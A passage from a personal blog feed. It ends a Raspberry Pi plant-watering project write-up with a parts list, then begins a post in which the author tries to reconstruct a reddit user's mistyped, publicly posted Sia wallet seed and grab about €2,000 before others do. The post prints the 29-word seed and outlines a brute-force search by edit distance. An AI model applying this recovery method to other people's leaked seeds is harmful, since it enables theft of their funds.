&lt;p>Maybe it was the dirt&amp;rsquo;s fault. Our potting soil was this &lt;a href="https://smile.amazon.com/gp/product/B01JIRJK8S/">pre-packaged mix&lt;/a> from Miracle-Gro that featured an &amp;ldquo;easy to water formula.&amp;rdquo; A bit suspicious, no? Clearly, this was evil, genetically engineered dirt that never dries. That&amp;rsquo;s why our poor soil sensors were so confused.&lt;/p>
&lt;p>We needed dirt that wouldn&amp;rsquo;t play games with us, so we purchased this &lt;a href="https://smile.amazon.com/gp/product/B002Y04TK6/">organic potting mix&lt;/a>. As a test, we filled a plastic cup with the organic soil, added water, poked holes in the bottom to let it drain, then let it sit for three days to match the soil conditions in our GreenPiThumb planter. At the end of three days, we tested our sensor in both types of soil.&lt;/p>
&lt;p>We got the exact same reading: 82% in each. So, we couldn&amp;rsquo;t blame the soil&amp;hellip;&lt;/p>
&lt;h4 id="giving-up">Giving up&lt;/h4>
&lt;p>Out of ideas, we revisited the projects that inspired GreenPiThumb. How did they solve this problem?&lt;/p>
&lt;p>&lt;a href="http://dicksonchow.com/plant-friends/">Plant Friends&lt;/a> doesn&amp;rsquo;t pump water at all. &lt;a href="http://www.esologic.com/?p=1112">PiPlanter&lt;/a> measures the soil moisture, but waters on a fixed schedule, regardless of moisture level. Some Googling turned up a few Raspberry Pi gardening projects that &lt;em>claim&lt;/em> that they water solely based on soil moisture, but none of them publish their source code nor share their result data. Therefore, we felt it was fair to assume that watering based on moisture level is &lt;strong>impossible&lt;/strong> and that &lt;strong>GreenPiThumb is doing the best it possibly can&lt;/strong>, given certain inexorable limits of the physical world.&lt;/p>
&lt;p>We ultimately decided to switch to a hybrid system. GreenPiThumb now waters the plant if the soil gets too dry &lt;em>or&lt;/em> if seven days have elapsed since the last watering.&lt;/p>
&lt;h2 id="the-final-product">The final product&lt;/h2>
&lt;p>Below are some images of our completed GreenPiThumb build:&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 2385px">



 &lt;a href="https://mtlynch.io/greenpithumb/greenpithumb-side-full.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 2385px, 98vw"
 srcset='https://mtlynch.io/greenpithumb/greenpithumb-side-full_hu_ab1b439f2ec00ddb.jpg 300w, https://mtlynch.io/greenpithumb/greenpithumb-side-full_hu_d2dbca03d741be0c.jpg 600w, https://mtlynch.io/greenpithumb/greenpithumb-side-full_hu_4ba7dba11e3a6f37.jpg 800w, https://mtlynch.io/greenpithumb/greenpithumb-side-full_hu_da77b15dedfa0f2.jpg 1200w, https://mtlynch.io/greenpithumb/greenpithumb-side-full.jpg 2385w'
 src="https://mtlynch.io/greenpithumb/greenpithumb-side-full.jpg" alt="GreenPiThumb full system" loading="lazy"/>
 &lt;/a>



&lt;/div>






















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 3240px">



 &lt;a href="https://mtlynch.io/greenpithumb/greenpithumb-front.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 3240px, 98vw"
 srcset='https://mtlynch.io/greenpithumb/greenpithumb-front_hu_e326b53ebd126e27.jpg 300w, https://mtlynch.io/greenpithumb/greenpithumb-front_hu_177ed4183dbf2359.jpg 600w, https://mtlynch.io/greenpithumb/greenpithumb-front_hu_f2de1f1b45d74c3f.jpg 800w, https://mtlynch.io/greenpithumb/greenpithumb-front_hu_f7a3850fe1afade0.jpg 1200w, https://mtlynch.io/greenpithumb/greenpithumb-front.jpg 3240w'
 src="https://mtlynch.io/greenpithumb/greenpithumb-front.jpg" alt="GreenPiThumb full system" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 
&lt;/figure>



&lt;figure class="gallery">
 &lt;div class="img-container">
 




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 3240px">



 &lt;a href="https://mtlynch.io/greenpithumb/greenpithumb-just-electronics.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 3240px, 98vw"
 srcset='https://mtlynch.io/greenpithumb/greenpithumb-just-electronics_hu_67f484892e2a76a4.jpg 300w, https://mtlynch.io/greenpithumb/greenpithumb-just-electronics_hu_346fbfb1140e6a92.jpg 600w, https://mtlynch.io/greenpithumb/greenpithumb-just-electronics_hu_35881b612ead3c43.jpg 800w, https://mtlynch.io/greenpithumb/greenpithumb-just-electronics_hu_166e3ea3f6f2b432.jpg 1200w, https://mtlynch.io/greenpithumb/greenpithumb-just-electronics.jpg 3240w'
 src="https://mtlynch.io/greenpithumb/greenpithumb-just-electronics.jpg" alt="GreenPiThumb electronics" loading="lazy"/>
 &lt;/a>



&lt;/div>






















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 4320px">



 &lt;a href="https://mtlynch.io/greenpithumb/greenpithumb-pump.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 4320px, 98vw"
 srcset='https://mtlynch.io/greenpithumb/greenpithumb-pump_hu_119cdbc43050458b.jpg 300w, https://mtlynch.io/greenpithumb/greenpithumb-pump_hu_34277bda2650e1d6.jpg 600w, https://mtlynch.io/greenpithumb/greenpithumb-pump_hu_f696439aacf2758a.jpg 800w, https://mtlynch.io/greenpithumb/greenpithumb-pump_hu_5b7510dc23a9e4e1.jpg 1200w, https://mtlynch.io/greenpithumb/greenpithumb-pump.jpg 4320w'
 src="https://mtlynch.io/greenpithumb/greenpithumb-pump.jpg" alt="GreenPiThumb pump" loading="lazy"/>
 &lt;/a>



&lt;/div>






















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 4320px">



 &lt;a href="https://mtlynch.io/greenpithumb/greenpithumb-reservoir.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 4320px, 98vw"
 srcset='https://mtlynch.io/greenpithumb/greenpithumb-reservoir_hu_5484e6f15bf0dce9.jpg 300w, https://mtlynch.io/greenpithumb/greenpithumb-reservoir_hu_908f93c52691007e.jpg 600w, https://mtlynch.io/greenpithumb/greenpithumb-reservoir_hu_438d397a412c8759.jpg 800w, https://mtlynch.io/greenpithumb/greenpithumb-reservoir_hu_68b10241bb5af880.jpg 1200w, https://mtlynch.io/greenpithumb/greenpithumb-reservoir.jpg 4320w'
 src="https://mtlynch.io/greenpithumb/greenpithumb-reservoir.jpg" alt="GreenPiThumb reservoir" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 
&lt;/figure>

&lt;p>The timelapses have been the most fun part of this process. This one is from our first batch of green beans (R.I.P.). We didn&amp;rsquo;t realize how quickly the plants would outgrow the &lt;a href="https://mtlynch.io/greenpithumb/greenpithumb-overhead-mount.jpg">close overhead angle&lt;/a>. We eventually switched to a &lt;a href="https://smile.amazon.com/gp/product/B00FZAY86C/">larger bendy mount&lt;/a>, which gets a better angle on the plant&amp;rsquo;s full lifecycle, but our original setup caught a great timelapse of the first few days of growth:&lt;/p>




&lt;figure class="video">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="timelapse.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;/div>
&lt;/figure>

&lt;p>For the second batch, we kept the camera in the exact same position throughout growth. This is the progress of batch two so far:&lt;/p>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
 &lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/6bvb2EvKQ58?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
 &lt;/div>

&lt;h2 id="lessons-learned">Lessons learned&lt;/h2>
&lt;h3 id="nothing-is-as-simple-as-it-seems">Nothing is as simple as it seems&lt;/h3>
&lt;p>I thought this would be a straightforward two- to three-month project, but it took us over a year to complete because nothing is as simple as it seems.&lt;/p>
&lt;p>It&amp;rsquo;s a lesson I learned &lt;a href="https://www.joelonsoftware.com/2002/03/04/nothing-is-as-simple-as-it-seems/">long ago&lt;/a> from Joel Spolsky, software essayist extraordinaire, and it&amp;rsquo;s a lesson I expect to learn again and again on many software projects to come.&lt;/p>
&lt;h3 id="electronics-start-with-the-basics">Electronics: start with the basics&lt;/h3>













 








 
 
 







&lt;div class="img align-left" style="max-width: 300px">



 &lt;a href="https://smile.amazon.com/gp/product/B009UKZV0A/">
 &lt;img
 
 sizes="(min-width: 768px) 300px, 98vw"
 srcset='https://mtlynch.io/greenpithumb/arduino-starter-kit_hu_97c35cfc4e4d7c8b.jpg 300w, https://mtlynch.io/greenpithumb/arduino-starter-kit.jpg 300w'
 src="https://mtlynch.io/greenpithumb/arduino-starter-kit.jpg" alt="Arduino starter kit" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>At the start of GreenPiThumb, my only knowledge of electronics was based on faint memories of high school physics. I bought the &lt;a href="https://smile.amazon.com/gp/product/B009UKZV0A/">Arduino starter kit&lt;/a> and went through the tutorials to build a foundation in electronics.&lt;/p>
&lt;p>These tutorials turned out to be quite enjoyable and useful. They do a good job of starting off easy and incrementally building to more advanced topics. I recommend this kit to any beginners who are interested in electronics.&lt;/p>
&lt;h3 id="test-hardware-in-isolation">Test hardware in isolation&lt;/h3>
&lt;p>Some who have worked with me on software projects have described me as &amp;ldquo;anal retentive&amp;rdquo; or &amp;ldquo;overly pedantic&amp;rdquo; when it comes to writing code. I prefer to think of my coding style as &amp;ldquo;rigorous.&amp;rdquo; We implemented the software part of GreenPiThumb first, rigorously peer reviewing and testing each software component piece by piece.&lt;/p>
&lt;p>When it came to the hardware, we were very un-rigorous. I dare say we were a bit cavalier and laughably naïve. Our original process for testing the hardware components was to write a basic version of GreenPiThumb&amp;rsquo;s software, wire up all the sensors on a test board, run it, and see what it produced.&lt;/p>
&lt;p>Nothing. It produced nothing. Because that was a terrible strategy for testing hardware. Every electronics component in a system has the potential to fail, either because the component itself is defective or because it&amp;rsquo;s been installed incorrectly. By connecting everything at once, we had no way of figuring out which piece or pieces were broken.&lt;/p>
&lt;p>Over time, we learned to test our sensors in isolation. We created standalone &lt;a href="https://github.com/JeetShetty/ansible-role-greenpithumb/tree/master/files">diagnostic scripts&lt;/a> for each hardware component. Every time we tweak the hardware now, the first thing we do is run through the diagnostic scripts to verify that we&amp;rsquo;re getting sane readings. When a new hardware piece is not working, we use our &lt;a href="https://smile.amazon.com/gp/product/B01ISAMUA6/">multimeter&lt;/a> to systematically detect the root cause. We should have purchased the multimeter much earlier. It only cost $13, but would have saved us countless hours of frustration and headscratching.&lt;/p>
&lt;h2 id="source-code">Source Code&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://github.com/JeetShetty/GreenPiThumb">GreenPiThumb back end&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/JeetShetty/GreenPiThumb_Frontend">GreenPiThumb front end&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/JeetShetty/GreenPiThumb_Frontend_static">GreenPiThumb front end (static)&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/JeetShetty/ansible-role-greenpithumb">GreenPiThumb Ansible Role&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="parts-list">Parts list&lt;/h2>
&lt;p>The tables below show the equipment we used to build GreenPiThumb. We&amp;rsquo;re sharing the exact parts so that it&amp;rsquo;s easy for you to follow our model, but many of these are commodity components that you can swap out for something functionally identical.&lt;/p>
&lt;h3 id="greenpithumb-essentials">GreenPiThumb essentials&lt;/h3>
&lt;ul>
&lt;li>&lt;a href="https://smile.amazon.com/Raspberry-Pi-MS-004-00000024-Model-Board/dp/B01LPLPBS8/">Raspberry Pi 3 Model B&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://smile.amazon.com/gp/product/B00PRM9UZ2/">12V water pump&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://smile.amazon.com/dp/B01ER2SKFS/">Raspberry Pi Camera V2 - 8 MP&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://smile.amazon.com/gp/product/B000MGG6SC/">100-240v AC to 12 &amp;amp; 5v DC 4pin Molex 2A Power Adapter&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://smile.amazon.com/dp/B0046XAROG/">MicroSD card (32 GB)&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://smile.amazon.com/gp/product/B000FOWGGW/">Silicone tubing&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://smile.amazon.com/FAIRCHILD-SEMICONDUCTOR-FQP30N06L-CHANNEL-MOSFET/dp/B00MMY2E7E/">FQP30N06L N-channel MOSFET&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://smile.amazon.com/CanaKit-Raspberry-Supply-Adapter-Listed/dp/B00MARDJZ4">Raspberry Pi power supply&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://smile.amazon.com/HiLetgo-Temperature-Humidity-Arduino-Raspberry/dp/B01DKC2GQ0/">DHT11 temperature and humidity sensor&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://smile.amazon.com/dp/B00EU1PY06/">MCP3008 analog-to-digital converter&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://smile.amazon.com/gp/product/B0040Z3012/">Solderable breadboard (400 tie-point)&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.sparkfun.com/products/13322">Soil moisture sensor&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://smile.amazon.com/gp/product/B0002XJZME/">Rubber glove&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://smile.amazon.com/Cable-Matters-Molex-Power-Adapter/dp/B00STNUB04/">Molex to SATA power cable adapter&lt;/a>&lt;/li>
&lt;li>Light-dependent photoresistor&lt;/li>
&lt;li>1-gallon plastic water jug (for reservoir)&lt;/li>
&lt;li>Safety pin&lt;/li>
&lt;li>Rubber bands&lt;/li>
&lt;/ul>
&lt;h3 id="common-electronics-components">Common electronics components&lt;/h3>
&lt;p>The items below are generic electronics tools and components that you can use for many projects. We bought them because we had zero electronics equipment, so we include them for completeness:&lt;/p>
&lt;ul>
&lt;li>&lt;del>Netflix and chill wire&lt;/del> &lt;a href="https://smile.amazon.com/gp/product/B00B4ZQ3L0/">Hook up wire&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://smile.amazon.com/gp/product/B01C9P7HDQ/">Soldering iron&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://smile.amazon.com/gp/product/B00FVT8I22/">Assorted resistors&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://smile.amazon.com/gp/product/B000JNPQZW/">Wire stripper&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://smile.amazon.com/gp/product/B00LQG47V0/">Soldering stand&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Jump_wire">Jump wire&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://smile.amazon.com/gp/product/B01461R89O/">Heat shrink tubing&lt;/a> (to cover solder joints)&lt;/li>
&lt;li>&lt;a href="https://smile.amazon.com/gp/product/B00FZPDG1K/">Wire cutters&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://smile.amazon.com/gp/product/B0195V3682/">Solderless breadboard, 830 tie-points&lt;/a> (for testing)&lt;/li>
&lt;/ul>
&lt;h3 id="gardening-supplies">Gardening supplies&lt;/h3>
&lt;ul>
&lt;li>&lt;a href="https://smile.amazon.com/gp/product/B006GK60PC/">10&amp;quot; planter pot&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://smile.amazon.com/gp/product/B01JIRJK8S/">Potting mix&lt;/a> (soil)&lt;/li>
&lt;li>Kentucky Wonder bush bean seeds&lt;/li>
&lt;/ul>
&lt;h3 id="optional-components">Optional components&lt;/h3>
&lt;ul>
&lt;li>&lt;a href="https://smile.amazon.com/gp/product/B010C504NK/">Third hand soldering tool&lt;/a>
&lt;ul>
&lt;li>We started with &lt;a href="https://smile.amazon.com/gp/product/B000RB38X8/">this basic clamp stand&lt;/a>, but it was awkward to position and adjust. The bendy model was several times more expensive, but it made the task of soldering simpler and more pleasant.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://smile.amazon.com/gp/product/B00FZAY86C/">Bendy camera mount&lt;/a>
&lt;ul>
&lt;li>Great for holding the camera. Long and flexible enough to give you lots of options for finding a good angle and range.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://smile.amazon.com/dp/B0058I1YW2/">PEX tubing cutter&lt;/a>
&lt;ul>
&lt;li>Makes nice clean cuts to the water tubing.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://smile.amazon.com/gp/product/B01ISAMUA6/">Digital multimeter&lt;/a>
&lt;ul>
&lt;li>We &lt;em>highly&lt;/em> recommend you buy a basic multimeter. There&amp;rsquo;s nothing special about this particular one, but it served us well.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://smile.amazon.com/Raspberry-Pi-Camera-Module-Mount/dp/B00E1UOXMQ/">Pi camera mount&lt;/a>
&lt;ul>
&lt;li>Allows you to attach the Raspberry Pi camera to a standard 1/4&amp;quot; camera mount, such as the bendy mount above.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://smile.amazon.com/Adafruit-Flex-Cable-Raspberry-Camera/dp/B01BQUSQNU/">Pi camera extension cable (1m)&lt;/a>
&lt;ul>
&lt;li>Necessary for positioning the Raspberry Pi camera far away from the Raspberry Pi device itself.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://smile.amazon.com/gp/product/B010CCZJSS/">Zip ties&lt;/a>
&lt;ul>
&lt;li>For fastening tubing or wiring in place.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="acknowledgments">Acknowledgments&lt;/h2>
&lt;p>Big thanks to those who helped us with this project:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://twitter.com/eso_logic">Devon Bray&lt;/a>, whose project, &lt;a href="http://www.esologic.com/?page_id=1042">PiPlanter 2&lt;/a>, heavily inspired the hardware aspects of GreenPiThumb.&lt;/li>
&lt;li>&lt;a href="http://dicksonchow.com">Dickson Chow&lt;/a>, whose project, &lt;a href="http://dicksonchow.com/plant-friends-mkii/">Plant Friends&lt;/a>, was a helpful hardware reference, and who provided us lots of encouragement throughout the project.&lt;/li>
&lt;li>Nicole Michaelis, who volunteered her time to help edit this post.&lt;/li>
&lt;li>The &lt;a href="https://www.reddit.com/r/raspberry_pi">/r/raspberry_pi&lt;/a> reddit community for &lt;a href="https://www.reddit.com/r/raspberry_pi/comments/5i856z/help_turning_on_a_12v_water_pump_with_a_pi/">their help&lt;/a> when we got stuck with wiring issues.&lt;/li>
&lt;/ul></content:encoded></item><item><title>How I Stole Your Siacoin</title><link>https://mtlynch.io/stole-siacoins/</link><pubDate>Fri, 16 Jun 2017 00:00:00 +0000</pubDate><guid>https://mtlynch.io/stole-siacoins/</guid><description>&lt;h2 id="a-seedy-reddit-post">A seedy reddit post&lt;/h2>
&lt;p>The night was June 9th, 2017. It was a typical Friday night for me. I was &lt;del>watching Netflix and checking reddit&lt;/del> partying with cool kids.&lt;/p>
&lt;p>Suddenly, I saw this post on the &amp;ldquo;New&amp;rdquo; tab of the &lt;a href="https://www.reddit.com/r/siacoin/">/r/siacoin&lt;/a> subreddit:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 996px">



 &lt;a href="https://mtlynch.io/stole-siacoins/posted-seed.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 996px, 98vw"
 srcset='https://mtlynch.io/stole-siacoins/posted-seed_hu_69e9edb9240eaebc.png 300w, https://mtlynch.io/stole-siacoins/posted-seed_hu_e2db48113e383b13.png 600w, https://mtlynch.io/stole-siacoins/posted-seed_hu_f9433ca1f7c2e8b6.png 800w, https://mtlynch.io/stole-siacoins/posted-seed.png 994w'
 src="https://mtlynch.io/stole-siacoins/posted-seed.png" alt="Reddit screenshot" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>If you&amp;rsquo;re not familiar with Siacoin, it&amp;rsquo;s a cryptocurrency that allows you to rent out your spare hard disk space or buy space from others. I&amp;rsquo;ve written about this technology a couple times previously (&lt;a href="https://mtlynch.io/windows-sia-mining/">mining guide&lt;/a>, &lt;a href="https://mtlynch.io/sia-via-docker/">NAS guide&lt;/a>).&lt;/p></description><content:encoded>&lt;h2 id="a-seedy-reddit-post">A seedy reddit post&lt;/h2>
&lt;p>The night was June 9th, 2017. It was a typical Friday night for me. I was &lt;del>watching Netflix and checking reddit&lt;/del> partying with cool kids.&lt;/p>
&lt;p>Suddenly, I saw this post on the &amp;ldquo;New&amp;rdquo; tab of the &lt;a href="https://www.reddit.com/r/siacoin/">/r/siacoin&lt;/a> subreddit:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 996px">



 &lt;a href="https://mtlynch.io/stole-siacoins/posted-seed.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 996px, 98vw"
 srcset='https://mtlynch.io/stole-siacoins/posted-seed_hu_69e9edb9240eaebc.png 300w, https://mtlynch.io/stole-siacoins/posted-seed_hu_e2db48113e383b13.png 600w, https://mtlynch.io/stole-siacoins/posted-seed_hu_f9433ca1f7c2e8b6.png 800w, https://mtlynch.io/stole-siacoins/posted-seed.png 994w'
 src="https://mtlynch.io/stole-siacoins/posted-seed.png" alt="Reddit screenshot" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>If you&amp;rsquo;re not familiar with Siacoin, it&amp;rsquo;s a cryptocurrency that allows you to rent out your spare hard disk space or buy space from others. I&amp;rsquo;ve written about this technology a couple times previously (&lt;a href="https://mtlynch.io/windows-sia-mining/">mining guide&lt;/a>, &lt;a href="https://mtlynch.io/sia-via-docker/">NAS guide&lt;/a>).&lt;/p>
&lt;p>This reddit user had just done something very dangerous. They posted their Sia wallet seed online. The Sia &amp;ldquo;seed&amp;rdquo; is a passphrase that gives anyone who holds it full control of the cryptocurrency in that person&amp;rsquo;s wallet. For this user, that means control of €2,000 worth of Siacoin because that&amp;rsquo;s the amount they transferred into that wallet. In the screenshot, you can see that the user believes this is safe because they have confirmed that the passphrase doesn&amp;rsquo;t work.&lt;/p>
&lt;h2 id="almost-doesnt-count-except-in-horseshoes-and-sia-seeds">Almost doesn&amp;rsquo;t count (except in horseshoes and Sia seeds)&lt;/h2>
&lt;p>What immediately interested me about the post was that the user had written their seed by hand:&lt;/p>
&lt;blockquote>
&lt;p>i&amp;rsquo;m pretty sure i didn&amp;rsquo;t make a mistake writing it down, i always double check.&lt;/p>&lt;/blockquote>
&lt;p>I was pretty sure they &lt;em>did&lt;/em> make a mistake writing it down. But I was hoping that they only made &lt;em>one&lt;/em> mistake. If the user was just one letter off or had two letters transposed, I could probably figure out the correct seed and recover the €2,000.&lt;/p>
&lt;p>I needed to do this quickly. I&amp;rsquo;m not the only one who can recognize a leaked seed when they see it, so I had to crack the seed and grab the money fast before anyone else could.&lt;/p>
&lt;h2 id="hacking-by-hand">Hacking by hand&lt;/h2>
&lt;p>I began by examining the words in the incorrect seed:&lt;/p>
&lt;p>&lt;code>eluded&lt;/code> &lt;code>logic&lt;/code> &lt;code>wise&lt;/code> &lt;code>ascend&lt;/code> &lt;code>tagged&lt;/code> &lt;code>acoustic&lt;/code> &lt;code>situated&lt;/code> &lt;code>stylishly&lt;/code> &lt;code>younger&lt;/code> &lt;code>aptitude&lt;/code> &lt;code>inroads&lt;/code> &lt;code>avidly&lt;/code> &lt;code>hefty&lt;/code> &lt;code>also&lt;/code> &lt;code>godfather&lt;/code> &lt;code>unrest&lt;/code> &lt;code>avatar&lt;/code> &lt;code>push&lt;/code> &lt;code>because&lt;/code> &lt;code>brunt&lt;/code> &lt;code>viking&lt;/code> &lt;code>gone&lt;/code> &lt;code>august&lt;/code> &lt;code>public&lt;/code> &lt;code>tonic&lt;/code> &lt;code>vulture&lt;/code> &lt;code>shrugged&lt;/code> &lt;code>otter&lt;/code> &lt;code>adapt&lt;/code>&lt;/p>
&lt;p>I wasn&amp;rsquo;t familiar with how Sia generates its seeds, but Sia is completely open-source, so I figured it couldn&amp;rsquo;t be too hard to figure it out.&lt;/p>
&lt;p>Indeed it was not. Browsing to Sia&amp;rsquo;s &lt;a href="https://github.com/NebulousLabs/Sia/blob/master/modules/wallet.go">&lt;code>wallet.go&lt;/code> file&lt;/a> I found a &lt;a href="https://github.com/NebulousLabs/Sia/blob/a61170dd20118f68b1fdb7e06c2c483c91aa649e/modules/wallet.go#L404...L412">&lt;code>SeedToString&lt;/code> function&lt;/a>. That led me to the &lt;a href="https://github.com/NebulousLabs/entropy-mnemonics">entropy-mnemonics&lt;/a> GitHub project, which contained &lt;a href="https://github.com/NebulousLabs/entropy-mnemonics/blob/master/english.go">this dictionary&lt;/a> of possible seed words:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-golang" data-lang="golang">&lt;span style="display:flex;">&lt;span> englishDictionary = Dictionary{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;abbey&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;abducts&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;ability&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;ablaze&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;abnormal&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;abort&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;abrasive&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;absorb&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;abyss&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;academy&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;aces&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;aching&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;acidic&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;acoustic&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;acquire&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;across&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;actress&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ...
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The entropy dictionary only had ~1,600 words in it. My hope was that when the user was writing down the seed, they accidentally wrote down a word that wasn&amp;rsquo;t in the dictionary at all. That way, if I found that one of 29 seed words they posted was missing from the dictionary, that would obviously be the incorrect word. Then I could quickly figure out the seed just by looking for words in the dictionary similar to the absent word.&lt;/p>
&lt;p>But alas, all 29 words in the incorrect seed appeared in the entropy dictionary, so eyeballing it wasn&amp;rsquo;t going to work.&lt;/p>
&lt;h2 id="brute-force">Brute force&lt;/h2>
&lt;p>It was time to break out the big guns (I refer to the two fingers I use to type code as &amp;ldquo;guns&amp;rdquo;). I needed a way of finding all the words in that dictionary that were one copying error off from the seed that got posted to reddit.&lt;/p>
&lt;p>I realized that &lt;a href="https://en.wikipedia.org/wiki/Levenshtein_distance">Levenshtein distance&lt;/a> could help me here. The Levenshtein distance is the number of letters you need to add, delete, or replace to get from one word to another. For example, &amp;ldquo;cat&amp;rdquo; and &amp;ldquo;car&amp;rdquo; have a Levenshtein distance of 1 because you can get from &amp;ldquo;cat&amp;rdquo; to &amp;ldquo;car&amp;rdquo; by replacing the &amp;ldquo;t&amp;rdquo; with an &amp;ldquo;r&amp;rdquo;. The words &amp;ldquo;cat&amp;rdquo; and &amp;ldquo;scar&amp;rdquo; have a distance of 2 because you have to replace the &amp;ldquo;t&amp;rdquo; and prepend an &amp;ldquo;s&amp;rdquo;.&lt;/p>
&lt;p>To discover possible seeds, I could write a script that finds words in the entropy dictionary that had a Levenshtein distance of 1 from the words in the incorrect seed.&lt;/p>
&lt;p>I first downloaded the dictionary locally and stripped out all characters except &lt;code>a&lt;/code>-&lt;code>z&lt;/code>:&lt;/p>
